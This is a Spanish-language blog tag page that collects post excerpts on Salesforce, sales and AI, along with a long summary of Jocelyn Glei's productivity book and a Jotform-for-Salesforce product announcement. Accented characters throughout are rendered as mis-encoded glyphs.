Skip to content

Etiqueta: DF

BootPIG: Bootstrapping Zero-shot Personalized Image Generation Capabilities in Pretrained Diffusion Models (Capacidad de generaci贸n de im谩genes personalizadas de disparo cero en modelos de difusi贸n preentrenados)

Presentamos una arquitectura novedosa, BootPIG, que permite la generaci贸n de im谩genes personalizadas sin necesidad de ajuste fino en tiempo de prueba.

Seguir leyendo

Mejore su experiencia MuleSoft con IA 鈽侊笍

Mejore su experiencia MuleSoft con IA 鈽侊笍

En el mundo de la IA, que se desarrolla r谩pidamente, MuleSoft est谩 evolucionando sus capacidades de integraci贸n, gesti贸n de API e IA.

En el mundo de la IA, MuleSoft est谩 evolucionando sus capacidades de integraci贸n, gesti贸n de API e IA

The post Acelere su viaje a MuleSoft con IA appeared first on Blog de Desarrolladores de Salesforce.

Seguir leyendo

C贸mo crear un proceso de ventas que consiga acuerdos en todo momento

Aprenda los pasos correctos desde la investigaci贸n hasta el cierre, y perfeccione las estrategias que aumentan las tasas de 茅xito.

Seguir leyendo

30 preguntas y respuestas de entrevistas a analistas de negocio

La demanda de analistas de negocio de Salesforce ha crecido a un ritmo elevado. Las organizaciones de Salesforce han evolucionado y se han vuelto m谩s complejas. Como resultado, existe una mayor necesidad de evaluar los cambios deseados y obtener una visi贸n completa de la situaci贸n, para asegurarse de que todo el mundo est谩 de acuerdo. Esta es la raz贸n por la que las organizaciones deben buscar […]

El post 30 Business Analyst Interview Questions & Answers appeared first on Salesforce Ben.

Seguir leyendo

驴Quieres cerrar el a帽o con fuerza? Estos expertos te ense帽an c贸mo

Obtenga consejos de expertos en ventas de primer nivel que le ayudar谩n a alcanzar sus objetivos a medida que cierra el a帽o.

Seguir leyendo

C贸mo Manejar Tu D铆a a D铆a Sin Enloquecer

Si el mundo ha cambiado, la forma de trabajar tampoco puede seguir siendo la que era antes de la revoluci贸n digital. El mundo de hoy no tiene nada que ver con el mundo en que vivieron los grandes creativos que admiramos. Para ellos era m谩s sencillo evitar las distracciones y trabajar en relativa paz y concentraci贸n. En la era de internet y los smartphones, es m谩s dif铆cil encontrar el entorno ideal para desarrollar nuestros proyectos personales. Encuentra en este resumen del libro Manage Your Day -to- Day de Jocelyn Glei, 

A menudo cuando hablamos de problemas en nuestro proceso creativo, no hablamos de problemas en la generaci贸n de ideas, sino en la ejecuci贸n de nuestra idea.

LA ERA DEL TRABAJO REACTIVO

A veces podemos gastar gran parte del d铆a trabajando de forma reactiva: controlamos el correo electr贸nico, visitamos nuestro perfil en Instagram, Facebook, Twitter, Telegram, echamos un ojo a whatsapp, alguna tarea rutinaria, y ya no queda tiempo para nada m谩s.

Estar siempre conectado trae muchas ventajas, pero tambi茅n desventajas: s贸lo tenemos tiempo para contestar y reaccionar, y no nos queda tiempo para pensar y actuar.

LA IMPORTANCIA DE UNA RUTINA

El trabajo creativo requiere de mucho tiempo para llegar a un buen resultado.

lo que te permite lograr ese resultado es la rutina.

Es por esto que, por ejemplo, Ernest Hemingway escrib铆a 500 palabras todas las ma帽anas.

Y de eso hablaba Picasso cuando dec铆a que la musa sol铆a encontrarlo trabajando.

Una rutina efectiva te ayuda a entrar en el flow sin perder tiempo y sin gastar mucha fuerza de voluntad.

Gracias a una rutina de trabajo optimizada puedes poner en marcha tu flujo de trabajo de forma autom谩tica.

No tienes que esperar la inspiraci贸n, tienes que crear un entorno y un sistema que la favorezca.

EL S脥NDROME 芦INBOX ZERO禄

驴Has intentado alguna vez 鈥渁delantar trabajo鈥?

Y 驴cu谩ntas veces te has conseguido adelantar todo el trabajo posible, y has tenido por fin tiempo libre para dedicarte a ese proyecto que ten铆as abandonado?

Me temo que pocas veces.

Adem谩s, hay veces que adelantas trabajo para que luego te cambien el briefing, y lo que has hecho ya no vale: hubiera sido mejor no hacer nada鈥

驴Te suena?

La verdad es que adelantar trabajo es a menudo una gilipollez falacia.

Es meterse en la rueda del h谩mster y empezar a correr, sin parar nunca.

De la misma forma, las ganas de despejar el camino te pueden llevar a abrir el correo a primera hora de la ma帽ana: sin darte cuenta acabar谩s por entregar tu tiempo a las prioridades de otras personas.

Que a veces no coinciden exactamente con tus prioridades鈥

LUCHANDO CONTRA EL E-NEMIGO

Si la ma帽ana es el momento donde tu creatividad y productividad est谩n a tope, malgastarla as铆 es un crimen.

Pero no es as铆 para todo el mundo: hay quien trabaja mejor por las noches.

As铆 que te toca identificar cu谩les son tus horas m谩s productivas.

Esto a menudo quiere decir invertir la forma de trabajar: empezar con el trabajo importante y no urgente, y dejar el trabajo reactivo para despu茅s.

Muchas veces hacemos al rev茅s y nos ocupamos de tareas simples, para tener la ilusi贸n de ser productivos.

Hace falta fuerza de voluntad para resistir a la inc贸moda 鈥 y enga帽osa 鈥 sensaci贸n que hay clientes esperando.

Pero es mejor decepcionar a unos pocos sobre cosas no esenciales, que renunciar a tus sue帽os para tener la bandeja de entrada vac铆a.

Seg煤n un estudio de 2012, los trabajadores gastan de promedio el 28% de su tiempo escribiendo, leyendo o contestando a correos.


驴Un peque帽o truco para llegar a inbox cero en pocos minutos? Archiva todos tus correos en la carpeta de 芦archivados禄 y ya tendr谩s la bandeja vac铆a. En Gmail ya tienes esa carpeta por defecto, pero si no la tienes la puedes crear. Si quieres acceder a tus correos, los seguir谩s viendo en esa carpeta. En tu bandeja de entrada s贸lo tendr谩s los 煤ltimos mensajes.


No sacrifiques tu potencial por una ilusi贸n de profesionalidad.

El email es como una extensi贸n de nuestro cerebro. Lo malo es cuando pretendemos estar a la altura de ese yo digital, que puede manejar mucha m谩s informaci贸n que nuestro yo real.

A menudo tenemos la tentaci贸n de guardar muchos correos just in case, por si volvemos a leerlos, por si es algo 煤til, para acordarnos de una posible idea o herramienta,鈥

Sin embargo, tenemos que aceptar que al ritmo al que fluye la informaci贸n, es dif铆cil que eso pase. Y aunque volvi茅ramos a mirarlo en un futuro, es posible que para cuando lo hagamos las cosas hayan cambiado, y ya exista otra herramienta, otra manera de hacer las cosas,鈥

Para hacer una limpieza con criterio, tenemos que tener claros nuestro objetivos. Si los tenemos por escrito, mejor.

La regla m谩s importante para que tu bandeja de entrada te ayude a lograr tu objetivo es esta: las oportunidades que te distraen tienen que morir para que tus objetivos m谩s importantes puedan sobrevivir.  

No hay sitio para todo.

El mundo laboral actual nos obliga a vivir en una paradoja permanente: para avanzar, tenemos al mismo tiempo que luchar contra las distracciones y ceder frente a ellas (mirando por ejemplo nuestro buz贸n de correo).

Seguro que pensar谩s que necesitas mirar tu buz贸n para poder realizar tu trabajo: emails de clientes, del jefe, de tus compa帽eros de trabajo, noticias sobre tu sector,鈥

Pero todas esas comunicaciones solo te ayudan, o te cortan el ritmo y te distraen?

驴Cu谩l es el coste de esa p茅rdida de foco?

Lo que en realidad buscamos es la gratificaci贸n aleatoria que proporcionan los buzones de entrada del correo o cualquier red social.

Adem谩s, somos yonkis de la comodidad.

Hemos elegido ser esclavos de la comodidad y eso tiene un precio.

En todos los trabajos se tiende a abusar del email y los correos de grupo: consideramos s贸lo la comodidad y posibles ventajas, sin pensar a lo que pueden costar en t茅rminos de productividad.

El hecho de que pueda existir un beneficio nos parece suficiente para justificar la pr谩ctica.

En el sector de los conocimientos no tenemos unas m茅tricas claras que nos ayuden a medir los costes.

Nuestras conductas se miden entonces sobre la conveniencia a corto plazo m谩s que sobre el valor a largo plazo.  

Eliminar 10 mensajes de nuestra bandeja de entrada nos da la impresi贸n de progresar, cuando si lo pensamos detenidamente eso no est谩 para nada claro.

DESCUBRIENDO TU RITMO PRODUCTIVO.

Tenemos que recordarnos a nosotros mismos que no somos una m谩quina.

A veces parece que los textos sobre productividad quieren entrenarnos para volvernos r铆gidos y eficientes como m谩quinas.

Los seres humanos no somos m谩quinas 鈥 los creativos menos todav铆a 鈥 y seguir esos consejos s贸lo nos provocar谩 frustraci贸n.

Tenemos que aprender a reconocer y seguir nuestros ciclos de productividad.

Eso es f谩cil de hacer, aunque requiere de fuerza de voluntad para ponerlo en marcha: simplemente hay que apuntar durante una semana la horas en la que trabajamos m谩s a gusto.

Necesitamos identificar si conseguimos mejores resultados por la ma帽ana, la tarde o la noche, y apuntar cu谩nto tiempo podemos trabajar a tope antes de que nos entren ganas de desconectar.

Es dif铆cil que sea m谩s de 1 hora. Cuando identifiquemos esos ratos, sabremos cada cu谩nto tiempo necesitamos descansar, y qu茅 momentos dedicar al trabajo m谩s importante.

En mi caso, 50 minutos es la extensi贸n ideal para trabajar del tir贸n. Luego mi concentraci贸n baja y me entran ganas de distraerme.

La mente humana est谩 m谩s preparada para trabajar en sprints que en maratones.

Nuestra eficiencia y creatividad vuelven a recargarse si alternamos trabajo creativo y trabajos reactivo.

Y tambi茅n es importante aprender a desconectar de la conexi贸ncuando nos conectamos a la red, nos desconectamos de nosotros mismos, perdiendo una oportunidad para reflexionar.

Y en el caso de un trabajo creativo esto puede significar perder la oportunidad para tener una voz personal, y seguir lo que hacen los dem谩s.

Nada tiene que tener m谩s influencia sobre nosotros que nuestra propia intuici贸n.

En esta era de la constante conexi贸n, la capacidad para desconectar y pararse a pensar es otra ventaja competitiva.

EL INCRE脥BLE PODER DE LA REPETICI脫N

驴Conoces esta frase?

Tenemos la tendencia a sobrestimar lo que podemos lograr en el d铆a, y a subestimar lo que podemos lograr en un a帽o禄

Para que esa frase sea cierta, es necesario que se cumpla una condici贸n: que trabajemos de forma consistente.

A largo plazo, el trabajo constante impulsa nuestra productividad y creatividad.

La repetici贸n o frecuencia nos proporciona unas grandes ventajas.

LAS 3 GRANDES VENTAJAS DEL TRABAJO DIARIO

  1. Trabajar todos los d铆as en tu proyecto hace que sea m谩s f谩cil empezar.

驴Has notado que a veces, aunque tengas tiempo, no lo aprovechas para trabajar en tu proyecto personal?

Y que cada vez que tienes que arrancar un proyecto nuevo te cuesta horrores, sin embargo al cabo de unos d铆as, cuando por fin ya has arrancado, trabajas sin problemas?

Empezar un proyecto nuevo es duro, y tambi茅n lo es volver a ello tras una pausa.

Eliminar esas pausas te ayuda a mantener las ganas y la motivaci贸n.

2) Trabajar todos los d铆as en tu proyecto te quita presi贸n.

Si trabajas en tu proyecto solo de vez en cuando, cuando lo haces sientes presi贸n por sacar algo de mucha calidad.

Si trabajas todos los d铆as no tienes esa sensaci贸n: si un d铆a no obtienes resultados, no pasa nada. Tienes el d铆a siguiente para hacerlo mejor.

3) Trabajar todos los d铆as en tu proyecto te ayuda a trabajar todos los d铆as en tu proyecto

Si no dejas pasar muchos d铆as sin trabajar en tu proyecto, no necesitar谩s tiempo para volver al flow, podr谩s empezar enseguida.

Y esa puede ser una ventaja tremenda: no necesitar谩s de mucho tiempo para lograr avances.

Es esto un concepto que, si lo pones en pr谩ctica, te puede transformar en un arma de creaci贸n masiva.

A veces aparcamos nuestro proyecto porque sentimos que no tenemos nunca un tiempo suficientemente extendido como para lograr algo.

芦S贸lo tengo media hora禄, nos decimos. 芦Eso no me alcanza para nada禄.

Si trabajamos media hora al mes eso es verdad: no avanzaremos nada, ni siquiera ser谩 suficiente  para concentrarnos y volver al punto donde lo dejamos.

Si trabajamos todos los d铆as, nos concentramos casi al instante.

Y avanzaremos paso a paso, podremos ver nuestros progresos y eso nos ayudar谩 a ser m谩s productivos porque veremos que s铆 somos realmente capaces de hacerlo.

Sin embargo, la ansiedad que produce postergar hace que cada vez sea m谩s dif铆cil arrancar.

Lo que haces cada d铆a es m谩s importante de lo que haces de vez en cuando禄

D铆a tras d铆a, construimos nuestra vida. D铆a tras d铆a, podemos transformar nuestra idea en realidad.

Todo eso es lo que dice la famosa frase de Arist贸teles:

Somos lo que hacemos repetidas veces. La excelencia por lo tanto no es un acto, sino un h谩bito禄

Puede haber d铆as donde nos digamos a nosotros mismos que no vamos a trabajar en nuestro proyecto porque no nos sentimos inspirados.

Ser creativos cuando la inspiraci贸n acompa帽a es f谩cil, sin embargo s贸lo podemos ser 鈥減ros鈥 de la creatividad si trabajamos tambi茅n cuando no nos sentimos inspirados.

LA SOLEDAD DEL CREATIVO

Reservar momentos para estar solos, sin aparatos e internet, tambi茅n tiene ventajas.

Es esencial aprender a reconocer nuestro impulso de interrumpir el trabajo o hacer multitasking, y resistirlo.

驴Porqu茅 muchos recomiendan meditar?

La pr谩ctica de la meditaci贸n ayuda a reconocer los pensamientos que llegan a nuestra cabeza y a no interactuar con ellos.

Lo mismo habr铆a que hacer con el impulso de cambiar de tarea o mirar el m贸vil: tendr铆amos que tomar conciencia del impulso, y no caer en tentaci贸n.

(Nota: estuve 365 d铆as meditando 15 minutos todos los d铆as. Resultado: ninguno. El 煤ltimo d铆a lo hac铆a igual de mal igual que el primero: sin conseguir ralentizar la mente y contener la ola de pensamientos. Uno de estos d铆as volver茅 a intentarlo鈥)

FOCO Y DISTRACCIONES: LA PARADOJA DE LA PRODUCTIVIDAD

La informaci贸n consume la atenci贸n del receptor. Una abundancia de informaciones crea escasez de atenci贸n禄

Esta frase es de 1971, pero describe muy bien el mundo de hoy: tenemos una fuente de infinitas distracciones instalada en nuestro medio de trabajo (nuestro ordenador), y otra en nuestro bolsillo鈥.

La atenci贸n es uno de nuestros bienes m谩s preciados.

Si piensas que las compa帽铆as m谩s grandes del mundo 鈥 Google, Facebook, Netflix 鈥 ganan m谩s dinero cuanto m谩s consiguen distraernos y conquistar nuestra atenci贸n, tienes una idea de la magnitud del problema.

Nuestra capacidad de atenci贸n es nuestra ventaja competitiva: quien mejor la sabe salvaguardar ser谩 el que conseguir谩 resultados, mientras los dem谩s se quedar谩n consumiendo entretenimiento.

FOCUS BLOCKING

Quiz谩s ya est茅s familiarizado con la t茅cnica del Time Blocking.

Podemos a帽adir a eso el enfoque que Cal Newport llama 芦Focus Blocking禄.

El Focus Blocking consiste en marcar en el calendario las horas de trabajo creativo y otorgarles el mismo peso que las horas dedicadas a reuniones: las interrupciones no est谩n permitidas.

Tenemos que empezar con bloques peque帽os e ir ampliando poco a poco.

No podemos admitir ni la m谩s m铆nima interrupci贸n.

Para eso, es mejor quitar las notificaciones y el acceso a internet.

Cuando es posible, lo mejor ser铆a poder trabajar con papel y l谩piz para evitar las distracciones de internet y trabajar en un lugar dedicado espec铆ficamente para estos trabajos sin distracciones. Adem谩s, es conveniente trabajar en una tarea espec铆fica identificada de forma previa.

Tenemos que convencer nuestra mente de que no est谩 permitida ni la m谩s m铆nima distracci贸n.

Si miramos Facebook o Instagram aunque solo por unos minutos, deber铆amos cancelar la sesi贸n e intentarlo en otro momento.

EL MITO DEL MULTITASKING

El multitasking no existe.

S贸lo se pueden hacer dos cosas a la vez si una de las dos es realmente autom谩tica, como por ejemplo caminar.

De lo contrario, no estar谩s haciendo multitasking sino simplemente task switching, pasando de una tarea a otra. En este caso, la bajada de la productividad es asegurada.

Resistir a la tentaci贸n de mirar el m贸vil o el correo merma nuestra concentraci贸n y fuerza de voluntad.

La 煤nica alternativa real que tenemos es la de eliminar las tentaciones de ra铆z.

Para poder pasar a otra tarea, deber铆amos llegar primero a un punto donde no nos queda nada pendiente. De lo contrario nuestro cerebro seguir铆a d谩ndole vueltas, mermando nuestra capacidad de atenci贸n y productividad. Es lo que se conoce como 芦attentional residue effect.

Para no perder el foco y evitar las tentaciones del multitasking, es 煤til tener constancia de nuestros avances.

El problema es que en el trabajo digital a veces esto es complicado: si estamos trabajando en un texto, siempre tendremos delante nuestro la versi贸n actual, y eso hace que sea dif铆cil visualizar los avances.

Tendremos entonces que establecer nuestros propios 芦indicadores de progreso禄. Por ejemplo, podr铆amos empezar cada d铆a una versi贸n nueva del mismo documento.

SOCIAL MEDIA MINDFULNESS

Tenemos a menudo la tentaci贸n de ojear las redes sociales para desconectar un rato.

Cuando lo hacemos, a veces nos despertarnos del trance media hora despu茅s 鈥 o m谩s 鈥 sin saber muy bien c贸mo hemos acabado all铆.

Es dif铆cil resistir a la tentaci贸n: es m谩s fuerte el miedo a perdernos algo (FOMO) y el mono de un buen chute de endorfinas鈥 Los impulsos a resistir son muchos.

Para luchar contra eso podemos acercarnos a las redes con mindfulness: tenemos que darnos cuenta de las razones por las cuales estamos a punto de enchufarnos, y decidir de antemano qu茅 queremos lograr. Si navegamos sin un objetivo, es m谩s f谩cil correr el riesgo de quedarnos atrapados.

Tambi茅n puede ser conveniente seleccionar con cuidado a quienes seguimos en las redes: estamos dejando que esas personas entren en nuestro cerebro y modifiquen nuestros pensamientos.

El smartphone en manos de malos jefes y malos compa帽eros es c贸mo una correa electr贸nica.

Nos hace perder la distinci贸n entre lo importante y lo urgente y lo importante: todo parece urgente.

Y cuando elegimos dedicar nuestro tiempo en lo urgente, estamos dando m谩s importancia a las prioridades de otras personas en lugar que las nuestras.

Ocuparse de esas tareas urgentes es el camino m谩s f谩cil.

Y el camino m谩s f谩cil siempre es una trampa.

C脫MO IMPULSAR TU CREATIVIDAD Y SUPERAR BLOQUEOS

Es imposible ser creativo y superar problemas exclusivamente a base de fuerza de voluntad.

Es por eso que es importante configurar una rutina para salirse de la rutina, trabajar en proyectos personales por simple diversi贸n, callar nuestro cr铆tico interior y las tendencias al perfeccionismo.

Muchos de los que tienen un trabajo creativo trabajan para clientes o empresas para ganarse un sueldo.

El problema es que en ese papel s贸lo utilizamos una parte de nuestras posibilidades creativas.

Para ir m谩s all谩, es fundamental trabajar para la audiencia m谩s importante: nosotros mismos.

No esperemos que nuestro trabajo para otros satisfaga todos nuestros deseos creativos: eso no va a ocurrir.

LA CREACI脫N INNECESARIA

Para satisfacer nuestras aspiraciones creativas necesitamos la Creaci贸n Innecesaria.

La Creaci贸n Innecesaria nos permite:

  • Tener la libertad de experimentar nuevas posibilidades
  • Tomar riesgos
  • Desarrollar nuevas habilidades (esto puede ser dif铆cil en el trabajo remunerado donde suelen pagar para obtener resultados predecibles)
  • Lograr tener una voz propia (la presi贸n del mundo corporativo nos empuja a mirar lo que est谩n haciendo otros en lugar de buscar caminos personales)

Dedicar tiempo a un proyecto personal parece una elecci贸n poco eficiente porque de hecho, es una elecci贸n ineficiente.

Sin embargo, cada elecci贸n que hagas tiene un coste de oportunidad.

Consideremos por lo tanto cu谩l puede ser el coste de vivir nuestra vida eligiendo el pragmatismo: podemos gastar nuestro tiempo satisfaciendo las expectativas de los dem谩s en lugar de avanzar en el descubrimiento de nuestras capacidades creativas.

Si queremos empezar un side project, deber铆amos hacerle sitio: lo mejor ser铆a agendarlo en nuestro calendario. De lo contrario, tendremos la tentaci贸n, cuando tengamos un rato de tiempo, de procrastinar y hacer otras tareas m谩s f谩ciles.

Necesitamos tomar conciencia:

A menudo no tenemos tiempo porque es m谩s conveniente no tenerlo. Quiz谩s no queramos desafiarnos a nosotros mismos禄
Stefan Stegmeister

JotForm: potentes formularios en l铆nea y automatizaci贸n del flujo de trabajo para Salesforce

JotForm: potentes formularios en l铆nea y automatizaci贸n del flujo de trabajo para Salesforce

脷ltima actualizaci贸n el 8 de septiembre de 2023 por Rakesh Gupta

Salesforce es la soluci贸n CRM basada en ventas, marketing y operaciones m谩s s贸lida y completa disponible. Los l铆mites de lo que puede hacer con los datos de sus clientes (una vez que est谩n en Salesforce) est谩n limitados 煤nicamente por su imaginaci贸n y habilidad para navegar por el ecosistema.

Pero no hay dos organizaciones iguales. Cada uno tiene sus propias necesidades, desde simples hasta complejas, desde la captura de clientes potenciales hasta la coordinaci贸n de eventos. Y la forma en que ingresa sus datos en Salesforce (tipo de integraci贸n, creaci贸n de objetos, coincidencia de campos, llenado previo, etc.) puede marcar la diferencia en cuanto a si sus flujos de trabajo de CRM realmente automatizan su trabajo pesado y le ahorran tiempo valioso o lo atascan con tareas manuales.

Es un motivo de orgullo para nosotros que miles de organizaciones sin fines de lucro, proveedores de servicios, empresas de atenci贸n m茅dica y m谩s hayan confiado en Jotform para canalizar los datos de sus clientes a Salesforce a lo largo de los a帽os.

Jotform ahora est谩 disponible en AppExchange de Salesforce para una experiencia de creaci贸n de formularios completamente nueva e intuitiva.

Beneficios de Jotform para Salesforce de un vistazo

Con Jotform en Salesforce AppExchange, sus flujos de trabajo experimentar谩n una verdadera automatizaci贸n de extremo a extremo, lo que ayudar谩 a su organizaci贸n a lograr sus objetivos m谩s r谩pido.

He aqu铆 por qu茅 le encantar谩 Jotform para Salesforce:

  1. Esta nueva soluci贸n de formulario, integrada autom谩ticamente con sus objetos y campos de Salesforce, elimina el cambio de plataforma.
  2. Con las automatizaciones l铆deres en la industria de Jotform directamente en su entorno Salesforce, puede crear flujos de trabajo m谩s confiables y productivos.
  3. La integraci贸n de datos automatizada entre sus formularios de cara al cliente y su base de datos de Salesforce garantiza precisi贸n y ahorro de tiempo (lo que significa ahorro de dinero).
  4. La aplicaci贸n de Jotform se alinea con los est谩ndares de seguridad de Salesforce y juntos ofrecemos cumplimiento normativo y seguridad de datos de CRM y formularios l铆deres en la industria.
  5. 隆Puedes probar la aplicaci贸n Jotform para Salesforce gratis!

Si usted es una organizaci贸n sin fines de lucro que digitaliza aplicaciones de quienes las necesitan, un B2B que recopila clientes potenciales y activos de video, un proveedor de atenci贸n m茅dica que registra informaci贸n de pedidos y facturas de consultorios m茅dicos, o una empresa l铆der con m谩s de 50,000 clientes, Jotform para Salesforce est谩 dise帽ado para escale con sus necesidades.

驴Qui茅n deber铆a utilizar Jotform para Salesforce?

Insinuamos que industrias como las organizaciones sin fines de lucro y la atenci贸n m茅dica son grandes usuarios de la integraci贸n heredada de Salesforce de Jotform. Pero realmente cualquier persona en cualquier industria que ya use Salesforce deber铆a usar esta versi贸n mejorada de la integraci贸n.

Adem谩s de sincronizar contactos y clientes potenciales est谩ndar , a continuaci贸n se muestran algunos casos de uso de muestra.

Industria Usos de Jotform y Salesforce
Sin 谩nimo de lucro Las organizaciones sin fines de lucro pueden sincronizar donaciones, solicitudes, registros de programas y material adicional de eventos que recopilan a trav茅s de Jotform con Salesforce. Tambi茅n pueden utilizar las aplicaciones de donaci贸n de Jotform y las automatizaciones del flujo de trabajo de aprobaci贸n dentro de Salesforce.
Cuidado de la salud Tanto los profesionales de la salud como los proveedores utilizan Jotform para crear facturas y formularios de citas compatibles con HIPAA. Pueden sincronizar datos de contactos relacionados con objetos personalizados en Salesforce.
Ventas Un flujo de trabajo automatizado de Jotform y Salesforce para clientes potenciales es fundamental para cualquier equipo de ventas. Adem谩s, Ventas   recibe propuestas de presupuestos as铆 como formularios de pedido de nuevos clientes. Pueden volver a atraer a su base de clientes actual con formularios precargados.
Servicios financieros Las empresas de servicios financieros utilizan ambas soluciones para calificar y gestionar la creaci贸n de pr茅stamos y actualizar la informaci贸n existente de los clientes, utilizando l贸gica condicional y formularios PDF inteligentes.
B2B/gesti贸n de eventos Las empresas orientadas a servicios asignan env铆os de registro a objetos personalizados y registran comentarios de encuestas en Salesforce.
Consultores Los usos aqu铆 van desde la creaci贸n de formularios que pueden integrarse en un sitio web hasta soluciones de firma electr贸nica y el llenado previo de datos utilizando informaci贸n de Salesforce.
Agencias y mesas comerciales Estas empresas venden servicios, cobran pagos y solicitudes y luego mapean y rastrean a sus solicitantes en Salesforce.

Creando su primer formulario de Salesforce

No solo todas sus automatizaciones de Jotform est谩n disponibles dentro de su instancia de Salesforce, sino que una gran caracter铆stica nueva de Jotform para Salesforce es el tipo de formulario 煤nico de Salesforce dentro de la aplicaci贸n.

Desde la p谩gina de inicio de Mis formularios , haga clic en el bot贸n Crear formulario como lo har铆a normalmente. Ahora ver谩 la opci贸n Crear formulario de Salesforce , que le permite crear un formulario que se integra autom谩ticamente con sus objetos de Salesforce.

Imagen de la p谩gina de inicio 'Mis formularios' con el bot贸n 'Crear formulario', resaltando la nueva opci贸n 'Crear formulario de Salesforce' para la integraci贸n autom谩tica con objetos de Salesforce

Esta nueva opci贸n es perfecta para asignar de manera eficiente sus campos de Salesforce a sus formularios. Permite una sincronizaci贸n de campos m谩s sencilla desde sus formularios con clientes potenciales, contactos, cuentas u otros objetos/registros personalizados, dejando atr谩s conexiones de integraci贸n complejas.

Simplemente seleccione los objetos que se adapten a sus necesidades y agr茅guelos a su nuevo formulario. Los objetos son b谩sicamente mini bases de datos. Cada base de datos contiene campos relevantes para el objeto.

En este formulario de ejemplo de Salesforce, seleccion茅 tres objetos: Cliente potencial , Evento y Adjunto . No hay l铆mite para la cantidad de objetos que puede seleccionar para satisfacer sus necesidades de datos.

Captura de pantalla de un formulario de ejemplo de Salesforce con tres objetos seleccionados

Una vez que haya seleccionado todos sus objetos (y haya verificado los campos dentro de ellos para obtener los datos que desea en su formulario), haga clic en Crear formulario . Su nuevo formulario mostrar谩 todos los campos que ha seleccionado.

Por ejemplo, cuando alguien env铆a mi nuevo formulario de cliente potencial, sus detalles completar谩n autom谩ticamente los objetos en mi base de datos de Salesforce.

Captura de pantalla que ilustra c贸mo un formulario de cliente potencial enviado completa autom谩ticamente los objetos de base de datos de Salesforce seleccionados

驴Necesita actualizar o editar su formulario? Utilice el nuevo 铆cono de Salesforce dentro del creador de formularios para actualizar sus objetos. Puede cambiar o agregar campos dentro de sus objetos existentes o agregar otros nuevos.

Imagen que resalta el 铆cono de Salesforce en el creador de formularios

Cuando haga clic en Siguiente , tendr谩 la opci贸n de activar Actualizar registro para evitar duplicados en su base de datos.

Tambi茅n puede hacer clic en el bot贸n Agregar acci贸n para crear un nuevo registro, actualizar uno existente o buscar un registro existente.

Imagen que muestra el bot贸n 'Agregar acci贸n' para ver opciones para crear, actualizar o buscar un registro de base de datos.
Anuncio de Jotform para Salesforce Imagen-1
[contenido incrustado]

La ventaja de Jotform, ahora en Salesforce

Si bien otras soluciones de AppExchange pueden ayudarlo a importar datos a Salesforce, creemos que la calidad y el alcance de nuestras automatizaciones de flujo de trabajo marcan la diferencia.

Por ejemplo, ahora es f谩cil completar previamente sus formularios de forma segura dentro de la interfaz de Salesforce.

Simplemente vaya a la pesta帽a Publicar , acceda a Precompletar desde el men煤 de la izquierda, elija Salesforce Precompletar y cargue la informaci贸n de contacto y cliente potencial que necesita en sus formularios. Como ya est谩 en Salesforce, no es necesaria ninguna autenticaci贸n de cuenta.

Se ha demostrado que rellenar previamente formularios ofrece mayores tasas de conversi贸n de formularios y una mayor precisi贸n de los clientes potenciales (adem谩s de actualizar sus contactos de Salesforce o los detalles de su empresa con nueva informaci贸n).

Para profundizar m谩s,obtenga m谩s informaci贸n sobre c贸mo completar previamente formularios con sus objetos de Salesforce.

captura de pantalla de algunos logotipos de pasarelas de pago

Si est谩 cobrando pagos, puede agregar una de las m谩s de 40 integraciones de pagos a sus formularios de Salesforce. Personalice los campos en sus objetos para indicar si se ha cobrado una tarifa al enviar el formulario o registre el monto pagado en los campos de su objeto.

Captura de pantalla que muestra c贸mo crear un acuerdo de Jotform Sign en Salesforce

Cree un acuerdo de Jotform Sign dentro de Salesforce que se configure autom谩ticamente para la aprobaci贸n de las partes interesadas internas. Recopilar谩 documentos firmados que mantendr谩n el trabajo en movimiento y la productividad en sus niveles m谩s altos.

Estas y otras automatizaciones basadas en formularios, como la generaci贸n de PDF, Jotform Approvals, Jotform Apps y Report Builder, junto con los nuevos formularios de Salesforce, contin煤an optimizando sus flujos de trabajo mientras se adaptan a sus necesidades 煤nicas de Salesforce de maneras innovadoras.

Si trabaja para una organizaci贸n empresarial que utiliza Salesforce como CRM, obtenga m谩s informaci贸n sobre Jotform Enterprise en Salesforce AppExchange .

Consejos para trabajar en Salesforce

驴Nuevo en Salesforce? Esta potente soluci贸n puede ayudar a su organizaci贸n a gestionar los procesos y la participaci贸n de los clientes de muchas maneras, pero empezar puede resultar desalentador.

A continuaci贸n se ofrecen algunos consejos 煤tiles que debe tener en cuenta si reci茅n est谩 comenzando:

  1. Fijaci贸n de objetivos . Defina c贸mo se ve el 茅xito para sus necesidades y flujos de trabajo. Catalogue los datos que est谩 importando y mapee c贸mo le gustar铆a administrarlos. Esto le brindar谩 una visi贸n integral de sus flujos de trabajo ideales para que pueda separar las necesidades de los deseos.
  2. Considere un consultor . No todo el mundo tiene el presupuesto para una consultor铆a. Pero si lo hace, tener un asesor a mano puede ahorrarle mucho tiempo. Adem谩s, pueden capacitar a sus partes interesadas para que el conocimiento pueda transmitirse en el futuro.
  3. Entrena . Cada organizaci贸n tiene expertos en la materia, as铆 que 驴por qu茅 no crear sus propios gur煤s de Salesforce? Haga que aquellos que quieran aprender nuevas habilidades comiencen con recursos gratuitos disponibles en Trailblazer Community , YouTube, TikTok y m谩s.
Anuncio de Jotform para Salesforce Image-2

Conclusi贸n

Jotform para Salesforce mejora su experiencia ofreciendo

  • Captura de datos perfecta a trav茅s de formularios dentro de la interfaz de Salesforce. Esto facilita el mapeo de campos y la transferencia de datos a clientes potenciales, contactos y objetos personalizados.
  • Generaci贸n de leads mejorada . Simplemente inserte sus formularios de Salesforce en el sitio web de su empresa (o en las redes sociales). Su equipo de ventas puede realizar un seguimiento f谩cil de los flujos de datos en tiempo real.
  • Calidad de datos mejorada a trav茅s de un mapeo de campo preciso a trav茅s de la aplicaci贸n Jotform. Sus equipos ya no necesitar谩n ingresar datos manualmente.
  • Una experiencia de usuario integrada . Tener acceso a todas las funciones de Jotform dentro de Salesforce elimina la necesidad de cambiar de plataforma, lo que simplifica el proceso.

Si ya es cliente pago de Jotform con una integraci贸n de Salesforce, podr谩 instalar Jotform en AppExchange y comenzar a usarlo ahora (los consultores son una excepci贸n).

Para aquellos con un plan Jotform Starter, pueden disfrutar de hasta cinco formularios y 100 env铆os mensuales por nuestra cuenta; sin embargo, deber谩 actualizar a un plan pago si desea aumentar el uso, el espacio de almacenamiento o la cantidad de usuarios.

Si sus necesidades exceden lo disponible con el plan Starter, puede unirse a cualquiera de los siguientes planes para un solo usuario:

  • Bronce: $39/mes
  • Plata: $49/mes
  • Oro: $129/mes

